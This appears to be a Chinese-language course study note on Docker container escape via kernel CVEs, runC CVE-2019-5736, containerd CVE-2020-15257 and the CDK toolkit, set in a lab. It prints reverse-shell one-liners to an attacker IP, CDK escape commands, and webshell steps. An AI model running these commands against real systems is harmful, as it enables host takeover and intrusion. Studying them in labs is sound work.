文章目录
- 前记
- 云上攻防——第九十六天
- 云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸
- 前情回顾
- 云原生 - Docker安全-容器逃逸&内核漏洞
- 云原生 - Docker安全-容器逃逸&版本漏洞
- CVE-2019-5736(runC容器逃逸)
- 1. 安装docker对应版本
- 2. 启动靶场测试环境
- 3. 编译修改后EXP后等待管理员进入容器执行
- 4. 管理员进入容器触发反弹Shell
- CVE-2020-15257(containerd逃逸)
- 1. 安装docker对应版本
- 2. 启动测试环境
- 3. 上传CDK工具自动逃逸反弹
- 云原生 - Docker安全-容器逃逸&CDK自动化
- 案例演示-特权模式
- 案例演示-CVE-2020-15257自动逃逸
前记
- 今天是学习小迪安全的第九十六天,本节课是Docker容器逃逸的第二讲,主要是关于Docker本身存在的漏洞导致逃逸
- 然后也分享了一个自动化的利用工具CDK,讲了关于它的部分用法
云上攻防——第九十六天
云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸
前情回顾
- 在上节课我们已经讲了关于Docker安全的第一部分,通过开发者不安全的启动容器方式去实现逃逸
- 那如果开发者确实没有这种启动的需求,而是正常启动一个容器,那我们又该如何进行逃逸利用呢?
- 这也就是本节课的内容,我们可以尝试通过系统内核存在的漏洞,或者Docker软件本身的漏洞来进行逃逸
云原生 - Docker安全-容器逃逸&内核漏洞
- 对于利用系统内核漏洞来进行逃逸,小迪说会在后面的权限提升章节讲到,这里我们大概做个了解就好
- 主要用到的历史漏洞有:
+ CVE-2016-5195 DirtyCow
+ CVE-2017-1000112
+ CVE-2020-14386
+ CVE-2021-22555
+ CVE-2022-0847 DirtyPipe
- CVE-2016-5195:
- 漏洞介绍:大名鼎鼎的脏牛漏洞,Linux 2.6.22–4.8.3 的 copy-on-write 逻辑存在竞态,可把宿主机任意只读 mmap 文件(含 vDSO、passwd、sudoers 等)写成可写,进而注入 shellcode 或写 root 口令。
- 逃逸方式:在容器里编译 PoC,覆写宿主机 vDSO 或 /etc/passwd,宿主机返回 root shell
- CVE-2017-1000112:
- 漏洞介绍:netpoll 代码里 use-after-free,可构造 ROP 实现内核任意代码执行。
- 逃逸方式:容器内触发 UAF 后布置 ROP chain,提权到宿主机 root
- CVE-2020-14386:
- 漏洞介绍:AF_PACKET 环形缓冲区长度校验缺失,未授权容器进程可越界写 8 字节,进而堆喷+ROP。
- 逃逸方式:容器里跑 exploit,利用 8 字节写能力劫持宿主机内核控制流,拿到宿主机 root
- CVE-2021-22555:
- 漏洞介绍:netfilter 在 64→32 位转换时堆溢出,可写任意长度数据到内核堆。
- 逃逸方式:容器内触发溢出,覆盖宿主机 task 结构体或 cred,直接提权,成功率极高
- CVE-2022-0847:
- 漏洞介绍:5.8–5.16.10 的 pipe 逻辑缺陷,可把任意只读文件覆写为任意内容(含 SUID 二进制)。
- 逃逸方式:在容器里覆写宿主机 /usr/bin/su、/usr/bin/docker 等 SUID 程序,注入 shellcode 后宿主机执行即返回 root
- 在2023年之后爆出的仍可以利用到容器逃逸的漏洞还有:
+ CVE-2023-2640 & CVE-2023-32629 (GameOver(lay))
+ CVE-2023-32233 (Netfilter UAF)
+ CVE-2023-4911 (Looney Tunables)
+ CVE-2024-1086 (Linux kernel nf_tables 越界写)
+ CVE-2024-0646 (kernel io_uring 任意地址写)
+ CVE-2025-9074 (Docker Desktop 引擎 API 未授权)
- 这里就不深究他们是怎么利用的,因为这部分是后面的内容,就先做个了解即可
云原生 - Docker安全-容器逃逸&版本漏洞
- 我们主要讲的是关于docker本身的安全问题造成的容器逃逸,主要有如下几个:
+ CVE-2017-1002101
+ CVE-2018-1002100
+ CVE-2018-15664 (符号链接替换漏洞)
+ CVE-2019-14271 (加载不受信任的动态链接库)
+ CVE-2019-1002101
+ CVE-2019-11246
+ CVE-2019-5736 (runc容器逃逸)
+ CVE-2020-15257 (containerd逃逸)
+ CVE-2024-21626 (runC 文件描述符泄漏)
+ CVE-2025-9074 (Docker Desktop 无鉴权 TCP API)
+ CVE-2025-23266/23267 (NVIDIA Container Toolkit 注入)
- 然后我们就选几个有代表性的来演示一下即可,然后实验的环境为
ubuntu18.04 LTS
,因为ubuntu22.04
仓库中已经移除了docker 18
版本
CVE-2019-5736(runC容器逃逸)
- 漏洞介绍:容器内进程可对宿主机
/proc/self/exe
指向的 runc 二进制进行写打开;下次管理员 docker exec 时宿主机再以 root 重新加载已被篡改的 runc,实现任意代码执行。 - 影响版本:
Docker ≤ 18.09.2
runC ≤ 1.0-rc6
containerd ≤ 1.2.2
1. 安装docker对应版本
- 这里我们需要先安装docker的漏洞版本:
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install -y docker-ce=18.06.1~ce~3-0~ubuntu
2. 启动靶场测试环境
- 然后我们启动一个测试的靶场,进入:
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest
同样判断是否为docker环境:
确认是docker环境之后,我们开始尝试逃逸,按照前一节课的内容,我们先判断是否为特权模式启动或者挂载危险目录,当然这里并不是
所以我们要换方向,要么是内核漏洞,要么是docker容器本身漏洞,这里我们假设知道了使用cve-2019-5736漏洞进行逃逸
3. 编译修改后EXP后等待管理员进入容器执行
- 漏洞利用PoC:https://github.com/Frichetten/CVE-2019-5736-PoC
- 实战中就把这个
main.go
下载到本地,编译,然后上传到目标docker容器:
bash -c 'exec bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
- 将他上传到目标容器中,并赋予执行权限,执行这个文件:
4. 管理员进入容器触发反弹Shell
我们在另一台机器上启动监听:
然后在本机上新建一个终端,模拟管理员登录打开该容器的行为:
然后我们观察该主机的另一个终端,可以看到成功执行了我们的反弹Shell命令:
此时我们的攻击机也成功拿到宿主机的Shell,而不是容器的,也就逃逸成功:
但是这个漏洞利用的难点在于,我们容器中运行main文件后,如何让管理员运行进入该docker容器
CVE-2020-15257(containerd逃逸)
- 漏洞介绍:containerd 在 --net=host 模式下把宿主机
/run/containerd/containerd.sock
暴露进容器;容器 root 可直接 dial 该 Unix socket,调用 containerd API 创建特权容器或写宿主机文件。 - 影响版本:
containerd < 1.3.9
containerd 1.4.0 - 1.4.2
1. 安装docker对应版本
- 这里我们需要先安装docker的漏洞版本:
apt-get update
apt-get install ca-certificates curl software-properties-common
bash -c 'curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -'
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install -y docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
2. 启动测试环境
- 然后我们启动一个测试的靶场,进入:
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it <CONTAINER ID> /bin/bash
- 这里需要注意的是,启动容器的时候必须加上
--net=host
这个选项,否则不存在该漏洞!!!,这个选项的意思是Docker容器与宿主机共享同一个网络
3. 上传CDK工具自动逃逸反弹
- 这里我们直接上传CDK工具,然后尝试反弹Shell:Release 0.1.6 · cdk-team/CDK
- 选择对应版本的工具文件,然后上传到云服务器,之后再放到docker容器中:
docker cp cdk_linux_amd64 <CONTAINER ID>:/
- 赋予执行权限,直接运行对应的模块即可:
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn <IP> <PORT>
- 然后我们就能够收到反弹的Shell了,并且成功逃逸出容器:
云原生 - Docker安全-容器逃逸&CDK自动化
- CDK 是一个开源的容器渗透工具包,旨在在不同的精简容器中提供稳定的利用,无需任何作系统依赖。它带有有用的网络工具和许多强大的 PoC/EXP,可帮助您逃离容器并轻松接管 K8s 集群。
- 项目地址:https://github.com/cdk-team/CDK
- 然后我们要进行逃逸的时候只需要将它的项目文件上传到容器中即可,可以自动化探测以及自动化逃逸:
# 容器信息收集
./cdk eva --full
# 容器逃逸利用
./cdk run <脚本模块> <执行命令>
- 接下来我们就使用几个例子来演示一下
案例演示-特权模式
- 比如昨天讲的特权模式,使用这个工具可以直接一把梭,先创建容器:
docker run --rm --privileged=true -it -p 8888:8080 vulhub/struts2:s2-053
然后struts2漏洞检测工具一把梭拿到shell:
然后我们尝试上传一个木马,然后通过哥斯拉连接:
连接之后上传我们的CDK工具文件:
然后赋权执行上面提到的命令自动扫描:
./cdk_linux_amd64 eva --full
他就会帮你进行分析,然后可能会有些看不懂,没关系,直接赋值给AI让他帮我们分析这个扫描结果:
可以看到这里它也是成功扫到了开启特权模式,可以利用其进行容器逃逸,我们可以通过如下命令直接利用:
./cdk_linux_amd64 run mount-cgroup "bash -c 'bash -i >& /dev/tcp/119.28.66.215/9999 0>&1'"
- 这里就成功利用我们的特权模式,成功逃逸出来了,也不用我们自己去创建什么定时任务了,它直接就帮我们创建了
案例演示-CVE-2020-15257自动逃逸
- 同样,我们使用刚刚创建的容器,只不过换一个方式启动:
docker run --rm --net=host -it -p 8888:8080 vulhub/struts2:s2-053
通过工具拿到Shell上传木马,哥斯拉连接上传CDK文件:
然后先进行信息收集,丢给AI分析一下:
可以看到这里它虽然没有标记出存在的是哪个CVE漏洞,但是根据这个描述,那不就是CVE-2020-15257吗?
所以直接使用它的一键式利用工具利用即可:
./cdk run shim-pwn reverse <攻击机IP> 12345